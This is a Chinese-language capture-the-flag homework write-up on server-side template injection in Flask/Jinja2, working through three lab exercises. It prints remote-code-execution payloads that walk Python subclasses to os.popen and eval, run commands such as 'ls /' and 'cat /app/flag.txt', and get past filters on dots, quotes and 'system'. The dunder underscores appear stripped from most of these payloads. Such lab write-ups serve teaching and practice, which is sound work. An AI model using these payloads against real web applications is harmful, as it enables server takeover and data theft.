SSTI模板注入漏洞
作业1:
SSTI魔术方法
代码审计

加载flag模块中的FLAG,返回源代码,判断/shrine/路由传入的内容,将小括号()过滤为空,设置aaa字符串为黑名单,把黑名单字符设置为None,防止利用,调用render_template_string渲染模板
测试传入{{1+1}}一般输出2

获取flag,传入/shrine/{{config}},或者/shrine/{{url_for.globals['current_app'].config['FLAG']}}

作业2:
SSTI循环语句
典型JinJa2 SSTI注入
代码审计

GET传参,接收name参数,直接拼接使用Template()
方法1:
直接getshell
?name={{request.class.base.subclasses()[200].init.globals['os'].popen('ls /').read()}}

执行了find / -type f -name "flag*"看到flag在/app/flag.txt中
继续执行cat /app/flag.txt查看flag

方法2:
第二种方法,也是正解
{% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{{ b['eval']('import("os").popen("cat /app/flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
作业3:
SSTIbypass
代码审计

GET传参id参数,正则匹配过滤system字段、双引号"和英文句号.,没有匹配到直接执行render_template_string函数
方法1:
可以利用上题方法一的解,变一下就行,把点.换成中括号,依旧getshell
?id={{[request]['class']['base']['subclasses']()[200]['init']['globals']['os']['popen']('ls /')['read']()}}

根目录的flag依旧假的,flag依旧在/app/flag.txt中,不过这需要一点点绕过知识,因为flag文件名字是flag.txt,包含了后端过滤的内容英文句号.,我们可以换成通配符执行命令获取flag
cat /app/flag.txt #会坠机
cat /app/flag*

方法2:
这个是正解的payload,也是一样的效果,只不过我嫌他长但是压不住他细又强
{% for c in []['cla'+'ss']['ba'+'se']['subcla'+'sses']() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b['cla'+'ss'] == {}['cla'+'ss'] %}
{% if 'eval' in b.keys() %}
{{ b['eval']('import(\'os\').popen(\'cat flag.txt\').read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
个人评价:
SSTI漏洞(服务器端模板注入),触发语言python、Java、Go等,现在主要用的是java,其实是python,本文更侧重python中的SSTI漏洞,作者菜鸡没怎么学,只能说挺好玩的,学起来很轻松,每步都是探索